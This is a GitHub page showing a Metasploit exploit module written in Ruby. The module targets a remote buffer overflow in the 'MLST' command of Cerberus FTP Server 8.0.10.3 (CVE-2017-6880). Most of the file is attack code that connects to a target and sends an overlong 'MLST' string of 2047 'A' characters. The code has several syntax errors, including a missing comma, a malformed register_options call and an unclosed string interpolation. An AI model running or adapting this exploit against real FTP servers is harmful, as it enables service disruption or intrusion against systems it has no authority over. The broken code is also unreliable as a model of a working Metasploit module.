-
Notifications
You must be signed in to change notification settings - Fork 13
/
cerberftp_bof.rb
94 lines (66 loc) · 2.65 KB
/
cerberftp_bof.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/share/ruby
#[+] Title: Cerberus FTP Server 8.0.10.3 – 'MLST' Remote Buffer Overflow
#[+] Credits / Discovery: Nassim Asrir
#[+] Author Contact: [email protected] || https://www.linkedin.com/in/nassim-asrir-b73a57122/
#[+] Metasploit Module Author : Souhardya Sardar
#[+] Metasploit Module Author Contact: github.com/Souhardya | [email protected]
#[+] Author Company: Henceforth
#[+] CVE: CVE-2017-6880
#Vendor:
#===============
#
#https://www.cerberusftp.com/
#Download:
#===========
#
#https://www.cerberusftp.com/files/CerberusInstall.exe (32-Bit)
#Vulnerability Type:
#===================
#
#Remote Buffer Overflow.
# ----------------------------
# Module Dependencies/requires
# ----------------------------
require 'msf/core'
# ----------------------------------
# Metasploit Class name and includes
# ----------------------------------
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
# -----------------------------------------
# Initialize information
# -----------------------------------------
def initialize(info = {})
super(update_info(info,
'Name' => 'Cerber FTP Remote Buffer Overflow ',
'Description' => %q{
This module exploits a buffer overflow in the Cerber FTP client that is triggered
by sending a bad char "A" in the command "MLST" (2047) .
},
'Author' =>
[
'Module Author And Bug Discovered by : Nassir',
'Coded by : Souhardya Sardar (github.com/Souhardya)', #metasploit module :)
'Thanks to : Nidhish Pandya ', #auditing:)
],
'License' => NONE,
'Platform' => ['win']
'References' =>
[
[ 'CVE', 'CVE-2017-6880' ],
[ Reference code taken from original POC located here :- https://www.exploit-db.com/exploits/41620/ ]
]))
register_optionsOptPort.new('SRVPORT', [true, "The remote FTP server port", 21])
], self.class)
deregister_options('FTPUSER', 'FTPPASS')
end
def exploit
connect
payload = "A"*2047
print_status("Trying to connect to target server {target.name...")
sock.put('MLST ' + payload + '\r\n')
handler
disconnect
end
end